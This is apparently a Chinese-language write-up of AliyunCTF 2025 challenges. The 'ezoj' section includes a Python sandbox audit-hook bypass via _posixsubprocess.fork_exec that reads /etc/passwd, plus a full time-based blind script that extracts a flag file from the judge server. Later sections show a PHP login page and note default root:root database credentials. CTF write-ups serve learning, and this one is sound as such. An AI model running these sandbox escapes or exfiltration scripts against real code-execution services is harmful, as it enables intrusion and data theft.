Skip to content

AliyunCTF

约 1232 字大约 4 分钟

CTF

2025-02-23

ezoj

server.py
import os
import subprocess
import uuid
import json
from flask import Flask, request, jsonify, send_file
from pathlib import Path

app = Flask(__name__)

SUBMISSIONS_PATH = Path("./submissions")
PROBLEMS_PATH = Path("./problems")

SUBMISSIONS_PATH.mkdir(parents=True, exist_ok=True)

CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect

def audit_checker(event,args):
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
        raise RuntimeError

sys.addaudithook(audit_checker)


"""


class OJTimeLimitExceed(Exception):
    pass


class OJRuntimeError(Exception):
    pass


@app.route("/")
def index():
    return send_file("static/index.html")


@app.route("/source")
def source():
    return send_file("server.py")


@app.route("/api/problems")
def list_problems():
    problems_dir = PROBLEMS_PATH
    problems = []
    for problem in problems_dir.iterdir():
        problem_config_file = problem / "problem.json"
        if not problem_config_file.exists():
            continue

        problem_config = json.load(problem_config_file.open("r"))
        problem = {
            "problem_id": problem.name,
            "name": problem_config["name"],
            "description": problem_config["description"],
        }
        problems.append(problem)

    problems = sorted(problems, key=lambda x: x["problem_id"])

    problems = {"problems": problems}
    return jsonify(problems), 200


@app.route("/api/submit", methods=["POST"])
def submit_code():
    try:
        data = request.get_json()
        code = data.get("code")
        problem_id = data.get("problem_id")

        if code is None or problem_id is None:
            return (
                jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}),
                400,
            )

        problem_id = str(int(problem_id))
        problem_dir = PROBLEMS_PATH / problem_id
        if not problem_dir.exists():
            return (
                jsonify(
                    {"status": "ER", "message": f"Problem ID {problem_id} not found!"}
                ),
                404,
            )

        code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
        with open(code_filename, "w") as code_file:
            code = CODE_TEMPLATE + code
            code_file.write(code)

        result = judge(code_filename, problem_dir)

        code_filename.unlink()

        return jsonify(result)

    except Exception as e:
        return jsonify({"status": "ER", "message": str(e)}), 500


def judge(code_filename, problem_dir):
    test_files = sorted(problem_dir.glob("*.input"))
    total_tests = len(test_files)
    passed_tests = 0

    try:
        for test_file in test_files:
            input_file = test_file
            expected_output_file = problem_dir / f"{test_file.stem}.output"

            if not expected_output_file.exists():
                continue

            case_passed = run_code(code_filename, input_file, expected_output_file)

            if case_passed:
                passed_tests += 1

        if passed_tests == total_tests:
            return {"status": "AC", "message": f"Accepted"}
        else:
            return {
                "status": "WA",
                "message": f"Wrang Answer: pass({passed_tests}/{total_tests})",
            }
    except OJRuntimeError as e:
        return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}
    except OJTimeLimitExceed:
        return {"status": "TLE", "message": "Time Limit Exceed"}


def run_code(code_filename, input_file, expected_output_file):
    with open(input_file, "r") as infile, open(
        expected_output_file, "r"
    ) as expected_output:
        expected_output_content = expected_output.read().strip()

        process = subprocess.Popen(
            ["python3", code_filename],
            stdin=infile,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
        )

        try:
            stdout, stderr = process.communicate(timeout=5)
        except subprocess.TimeoutExpired:
            process.kill()
            raise OJTimeLimitExceed

        if process.returncode != 0:
            raise OJRuntimeError(process.returncode)

        if stdout.strip() == expected_output_content:
            return True
        else:
            return False


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

用之前 SUCTF 学到的一个_posixsubprocess去绕 hook,这个和 python 版本有关系,一开始以为不行

import sys
import math
import collections
import queue
import heapq
import bisect

def audit_checker(event,args):
    print(f"审计事件: {event}, 参数: {args}")
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
        raise RuntimeError

sys.addaudithook(audit_checker)

try:
    import os
    import _posixsubprocess
    _posixsubprocess.fork_exec([b"123", "/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1,-1, *(os.pipe()), False, False, False, None, None, None, -1, None, False)
except RuntimeError as e:
    print(f"error")

本来想直接塞命令进去但是试了半天没成功,后来发现可以用 python 去写,不出网没回显,但注意到有一个超时的 TLE ,所以写时间盲注,就是这 flag 太长了,我这个脚本有点效率低下,第一次跑了一小时然后差一位,靶机忘续期了(

import requests
import string

charset = string.ascii_letters + string.digits + "{}_-"
url = "http://121.41.238.106:26721/api/submit"
flag = ""

for i in range(1, 50):
    for char in charset:
        data = {
            "problem_id":"0","code":f"import os\nimport _posixsubprocess\n\n_posixsubprocess.fork_exec([\"abc\",\"-c\",\"import os;import time;flag=os.popen('cat /f*').read();'{char}'==flag[{i-1}] and time.sleep(5)\"], [b\"/bin/python3\"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)\na, b = map(int, input().split())\nresult = a + b\nprint(result)"
        }
        
        try:
            r = requests.post(url, json=data, timeout=6)
            if r.json().get("status") == "TLE":
                flag += char
                print(f"Flag: {flag}",flush=True)
                break
        except requests.exceptions.Timeout:
            flag += char
            print(f"Timeout Found: {char} | Flag: {flag}",flush=True)
            break
    
    if flag.endswith("}"):
        break

print("Final Flag:", flag)

无标题

打卡ok

莫名其妙的题目

路由后面加 ~ 可以看源码

index.php
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="keywords" content="HTML5 Template">
    <meta name="description" content="Forum - Responsive HTML5 Template">
    <meta name="author" content="Forum">
    <link rel="shortcut icon" href="favicon/favicon.ico">
    <meta name="format-detection" content="telephone=no">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <link rel="stylesheet" href="css/style.css">
</head>
<body>
<!-- tt-mobile menu -->

<main id="tt-pageContent" class="tt-offset-none">
    <div class="container">
        <div class="tt-loginpages-wrapper">
            <div class="tt-loginpages">
                <a href="index.html" class="tt-block-title">
                    <div class="tt-title">
                        登陆
                    </div>
                    
                </a>
                <form class="form-default" method="post" action="./login.php">
                    <div class="form-group">
                        <label for="loginUserName">Username</label>
                        <input type="text" name="username" class="form-control" id="loginUserName" >
                    </div>
                    <div class="form-group">
                        <label for="loginUserPassword">Password</label>
                        <input type="password" name="password" class="form-control" id="loginUserPassword">
                    </div>
                    <div class="form-group">
                        <label for="code">code</label>
                        <input type="password" name="code" class="form-control">
                    </div>
                    <div class="form-group">
                        <button  class="btn btn-secondary btn-block">Log in</button>
                    </div>
                    
                </form>
            </div>
        </div>
    </div>
</main>
<script src="js/bundle.js"></script>
</body>
</html>
<?php
$servername = "localhost";
$username = "web";
$password = "web";
$dbname = "web";
$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}
session_start();
include './pass.php';
if(isset($_POST['username']) and isset($_POST['password'])){
    $username=addslashes($_POST['username']);
    $password=$_POST['password'];
    $code=$_POST['code'];
    $endpass=md5($code.$password).':'.$code;
    $sql = "select password from users where username='$username'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        while($row = $result->fetch_assoc()) {
            if($endpass==$row['password']){
            $_SESSION['login'] = 1;
            $_SESSION['username'] = md5($username);
            echo "<script>alert(\"Welcome $username!\");window.location.href=\"./index.php\";</script>";
            }
        }
    } else {
        echo "<script>alert(\"错误\");</script>";
      die();
    }
    $conn->close();
    
}
?>

ok.php 里面直接写了个数据库管理的路由,发现能直接 root:root 登进去写命令

output

output

Offens1ve(赛后)

完全不会,VN 的师傅们太强了,如果后面有时间再学一下

image-20250223203406303

image-20250223203423905